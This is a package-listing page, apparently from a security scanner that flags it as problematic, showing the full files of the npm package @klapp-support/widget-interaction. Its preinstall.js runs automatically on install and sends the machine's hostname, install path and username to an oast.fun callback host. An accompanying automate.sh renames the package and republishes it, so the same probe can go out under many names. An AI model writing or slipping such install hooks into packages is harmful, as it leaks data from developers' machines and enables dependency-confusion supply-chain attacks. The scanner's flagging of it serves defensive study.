@klapp-support/widget-interaction 49.47.49
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @klapp-support/widget-interaction might be problematic. Click here for more details.
- package/README.md +8 -0
- package/automate.sh +9 -0
- package/index.js +1 -0
- package/package.json +17 -0
- package/preinstall.js +20 -0
package/README.md
ADDED
package/automate.sh
ADDED
@@ -0,0 +1,9 @@
|
|
1
|
+
#!/bin/bash
|
2
|
+
|
3
|
+
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
|
4
|
+
TMP_FILE="$DIR/package.json.tmp"
|
5
|
+
sed "s,\"name\": \".*\",\"name\": \"$1\"," "$DIR/package.json" > "$TMP_FILE" && mv "$TMP_FILE" "$DIR/package.json"
|
6
|
+
sed -i '' "s~\"name\": \".*\"~\"name\": \"$1\"~" package.json
|
7
|
+
perl -i -pe "s~'User-Agent': '.*'~'User-Agent': '$1'~" preinstall.js
|
8
|
+
|
9
|
+
npm publish
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
console.log("Hello")
|
package/package.json
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
{
|
2
|
+
"name": "@klapp-support/widget-interaction",
|
3
|
+
"version": "49.47.49",
|
4
|
+
"type": "module",
|
5
|
+
"description": "# To use this template:",
|
6
|
+
"main": "index.js",
|
7
|
+
"scripts": {
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
9
|
+
"preinstall": "node preinstall.js"
|
10
|
+
},
|
11
|
+
"author": "",
|
12
|
+
"license": "ISC",
|
13
|
+
"dependencies": {
|
14
|
+
"node-fetch": "^3.3.1",
|
15
|
+
"os": "^0.1.2"
|
16
|
+
}
|
17
|
+
}
|
package/preinstall.js
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
import fetch from 'node-fetch';
|
2
|
+
import os from 'os'
|
3
|
+
import path from 'path';
|
4
|
+
import fs from 'fs';
|
5
|
+
import {fileURLToPath} from 'url';
|
6
|
+
|
7
|
+
|
8
|
+
const __filename = fileURLToPath(import.meta.url);
|
9
|
+
const __dirname = path.dirname(__filename);
|
10
|
+
const host = os.hostname();
|
11
|
+
const headers = {
|
12
|
+
'User-Agent': '@klapp-support/widget-interaction',
|
13
|
+
'X-Hostname': host,
|
14
|
+
'X-path': __dirname,
|
15
|
+
'X-Current-User': os.userInfo().username
|
16
|
+
};
|
17
|
+
const url = `http://ckznv2m2vtc0000cvffggj947teyyyyyb.oast.fun`;
|
18
|
+
fetch(url, { headers })
|
19
|
+
|
20
|
+
|